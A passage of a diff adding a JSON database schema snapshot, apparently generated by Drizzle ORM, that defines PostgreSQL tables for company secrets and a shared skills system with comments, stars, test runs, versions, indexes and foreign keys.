"user_secret_definition_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "owner_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secrets_company_provider_idx": { + "name": "company_secrets_company_provider_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secrets_provider_config_idx": { + "name": "company_secrets_provider_config_idx", + "columns": [ + { + "expression": "provider_config_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secrets_company_name_uq": { + "name": "company_secrets_company_name_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null", + "concurrently": false + }, + "company_secrets_company_key_uq": { + "name": "company_secrets_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null", + "concurrently": false + }, + "company_secrets_user_definition_owner_uq": { + "name": "company_secrets_user_definition_owner_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_secret_definition_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "owner_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null", + "concurrently": false + } + }, + "foreignKeys": { + "company_secrets_company_id_companies_id_fk": { + "name": "company_secrets_company_id_companies_id_fk", + "tableFrom": "company_secrets", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": { + "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk", + "tableFrom": "company_secrets", + "columnsFrom": [ + "user_secret_definition_id" + ], + "tableTo": "user_secret_definitions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": { + "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk", + "tableFrom": "company_secrets", + "columnsFrom": [ + "provider_config_id" + ], + "tableTo": "company_secret_provider_configs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_secrets_created_by_agent_id_agents_id_fk": { + "name": "company_secrets_created_by_agent_id_agents_id_fk", + "tableFrom": "company_secrets", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "company_secrets_scope_shape_check": { + "name": "company_secrets_scope_shape_check", + "value": "(\n \"company_secrets\".\"scope\" = 'company'\n and \"company_secrets\".\"owner_user_id\" is null\n and \"company_secrets\".\"user_secret_definition_id\" is null\n ) or (\n \"company_secrets\".\"scope\" = 'user'\n and \"company_secrets\".\"owner_user_id\" is not null\n and \"company_secrets\".\"user_secret_definition_id\" is not null\n )" + } + }, + "isRLSEnabled": false + }, + "public.company_skill_policies": { + "name": "company_skill_policies", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "schema_version": { + "name": "schema_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "revision": { + "name": "revision", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "default_effect": { + "name": "default_effect", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rules": { + "name": "rules", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "company_skill_policies_company_id_companies_id_fk": { + "name": "company_skill_policies_company_id_companies_id_fk", + "tableFrom": "company_skill_policies", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skill_comments": { + "name": "company_skill_comments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_skill_id": { + "name": "company_skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "parent_comment_id": { + "name": "parent_comment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_agent_id": { + "name": "author_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_comments_company_skill_created_idx": { + "name": "company_skill_comments_company_skill_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_comments_parent_idx": { + "name": "company_skill_comments_parent_idx", + "columns": [ + { + "expression": "parent_comment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skill_comments_company_id_companies_id_fk": { + "name": "company_skill_comments_company_id_companies_id_fk", + "tableFrom": "company_skill_comments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_comments_company_skill_id_company_skills_id_fk": { + "name": "company_skill_comments_company_skill_id_company_skills_id_fk", + "tableFrom": "company_skill_comments", + "columnsFrom": [ + "company_skill_id" + ], + "tableTo": "company_skills", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": { + "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk", + "tableFrom": "company_skill_comments", + "columnsFrom": [ + "parent_comment_id" + ], + "tableTo": "company_skill_comments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_skill_comments_author_agent_id_agents_id_fk": { + "name": "company_skill_comments_author_agent_id_agents_id_fk", + "tableFrom": "company_skill_comments", + "columnsFrom": [ + "author_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skill_stars": { + "name": "company_skill_stars", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_skill_id": { + "name": "company_skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_stars_skill_agent_idx": { + "name": "company_skill_stars_skill_agent_idx", + "columns": [ + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_stars_skill_user_idx": { + "name": "company_skill_stars_skill_user_idx", + "columns": [ + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_stars_company_skill_created_idx": { + "name": "company_skill_stars_company_skill_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skill_stars_company_id_companies_id_fk": { + "name": "company_skill_stars_company_id_companies_id_fk", + "tableFrom": "company_skill_stars", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_stars_company_skill_id_company_skills_id_fk": { + "name": "company_skill_stars_company_skill_id_company_skills_id_fk", + "tableFrom": "company_skill_stars", + "columnsFrom": [ + "company_skill_id" + ], + "tableTo": "company_skills", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_stars_agent_id_agents_id_fk": { + "name": "company_skill_stars_agent_id_agents_id_fk", + "tableFrom": "company_skill_stars", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skill_test_inputs": { + "name": "company_skill_test_inputs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "skill_id": { + "name": "skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_test_inputs_company_skill_name_idx": { + "name": "company_skill_test_inputs_company_skill_name_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_test_inputs_company_skill_active_idx": { + "name": "company_skill_test_inputs_company_skill_active_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skill_test_inputs_company_id_companies_id_fk": { + "name": "company_skill_test_inputs_company_id_companies_id_fk", + "tableFrom": "company_skill_test_inputs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_test_inputs_skill_id_company_skills_id_fk": { + "name": "company_skill_test_inputs_skill_id_company_skills_id_fk", + "tableFrom": "company_skill_test_inputs", + "columnsFrom": [ + "skill_id" + ], + "tableTo": "company_skills", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skill_test_run_templates": { + "name": "company_skill_test_run_templates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_agent_id": { + "name": "updated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_test_run_templates_company_active_idx": { + "name": "company_skill_test_run_templates_company_active_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skill_test_run_templates_company_id_companies_id_fk": { + "name": "company_skill_test_run_templates_company_id_companies_id_fk", + "tableFrom": "company_skill_test_run_templates", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": { + "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk", + "tableFrom": "company_skill_test_run_templates", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": { + "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk", + "tableFrom": "company_skill_test_run_templates", + "columnsFrom": [ + "updated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skill_test_runs": { + "name": "company_skill_test_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "skill_id": { + "name": "skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "input_id": { + "name": "input_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "input_snapshot": { + "name": "input_snapshot", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "skill_version_id": { + "name": "skill_version_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_config_snapshot": { + "name": "agent_config_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "template_id": { + "name": "template_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "template_name": { + "name": "template_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "template_body": { + "name": "template_body", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rendered_template_body": { + "name": "rendered_template_body", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "harness_issue_description": { + "name": "harness_issue_description", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'queued'" + }, + "output_document_key": { + "name": "output_document_key", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'output'" + }, + "output_snapshot": { + "name": "output_snapshot", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "superseded_at": { + "name": "superseded_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "harness_issue_expires_at": { + "name": "harness_issue_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "harness_issue_deleted_at": { + "name": "harness_issue_deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_test_runs_company_skill_created_idx": { + "name": "company_skill_test_runs_company_skill_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_test_runs_company_issue_idx": { + "name": "company_skill_test_runs_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_test_runs_company_input_created_idx": { + "name": "company_skill_test_runs_company_input_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "input_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_test_runs_company_status_idx": { + "name": "company_skill_test_runs_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_test_runs_company_harness_expires_idx": { + "name": "company_skill_test_runs_company_harness_expires_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "harness_issue_expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skill_test_runs_company_id_companies_id_fk": { + "name": "company_skill_test_runs_company_id_companies_id_fk", + "tableFrom": "company_skill_test_runs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_test_runs_skill_id_company_skills_id_fk": { + "name": "company_skill_test_runs_skill_id_company_skills_id_fk", + "tableFrom": "company_skill_test_runs", + "columnsFrom": [ + "skill_id" + ], + "tableTo": "company_skills", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": { + "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk", + "tableFrom": "company_skill_test_runs", + "columnsFrom": [ + "input_id" + ], + "tableTo": "company_skill_test_inputs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": { + "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk", + "tableFrom": "company_skill_test_runs", + "columnsFrom": [ + "skill_version_id" + ], + "tableTo": "company_skill_versions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "restrict" + }, + "company_skill_test_runs_agent_id_agents_id_fk": { + "name": "company_skill_test_runs_agent_id_agents_id_fk", + "tableFrom": "company_skill_test_runs", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "restrict" + }, + "company_skill_test_runs_issue_id_issues_id_fk": { + "name": "company_skill_test_runs_issue_id_issues_id_fk", + "tableFrom": "company_skill_test_runs", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "restrict" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skill_versions": { + "name": "company_skill_versions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_skill_id": { + "name": "company_skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "revision_number": { + "name": "revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "release_id": { + "name": "release_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "release_name": { + "name": "release_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "released_at": { + "name": "released_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "file_inventory": { + "name": "file_inventory", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "author_agent_id": { + "name": "author_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_versions_skill_revision_idx": { + "name": "company_skill_versions_skill_revision_idx", + "columns": [ + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revision_number", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skill_versions_skill_release_idx": { + "name": "company_skill_versions_skill_release_idx", + "columns": [ + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "release_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"company_skill_versions\".\"release_id\" is not null", + "concurrently": false + }, + "company_skill_versions_company_skill_created_idx": { + "name": "company_skill_versions_company_skill_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "company_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skill_versions_company_id_companies_id_fk": { + "name": "company_skill_versions_company_id_companies_id_fk", + "tableFrom": "company_skill_versions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_versions_company_skill_id_company_skills_id_fk": { + "name": "company_skill_versions_company_skill_id_company_skills_id_fk", + "tableFrom": "company_skill_versions", + "columnsFrom": [ + "company_skill_id" + ], + "tableTo": "company_skills", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_skill_versions_author_agent_id_agents_id_fk": { + "name": "company_skill_versions_author_agent_id_agents_id_fk", + "tableFrom": "company_skill_versions", + "columnsFrom": [ + "author_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_skills": { + "name": "company_skills", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "folder_id": { + "name": "folder_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "markdown": { + "name": "markdown", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_type": { + "name": "source_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_path'" + }, + "source_locator": { + "name": "source_locator", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_ref": { + "name": "source_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trust_level": { + "name": "trust_level", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'markdown_only'" + }, + "compatibility": { + "name": "compatibility", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'compatible'" + }, + "file_inventory": { + "name": "file_inventory", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "icon_url": { + "name": "icon_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tagline": { + "name": "tagline", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "author_name": { + "name": "author_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "homepage_url": { + "name": "homepage_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "categories": { + "name": "categories", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "sharing_scope": { + "name": "sharing_scope", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'company'" + }, + "public_share_token": { + "name": "public_share_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "forked_from_skill_id": { + "name": "forked_from_skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "forked_from_company_id": { + "name": "forked_from_company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "star_count": { + "name": "star_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "install_count": { + "name": "install_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "fork_count": { + "name": "fork_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "current_version_id": { + "name": "current_version_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skills_company_key_idx": { + "name": "company_skills_company_key_idx", + "columns": [ + { + "expression": 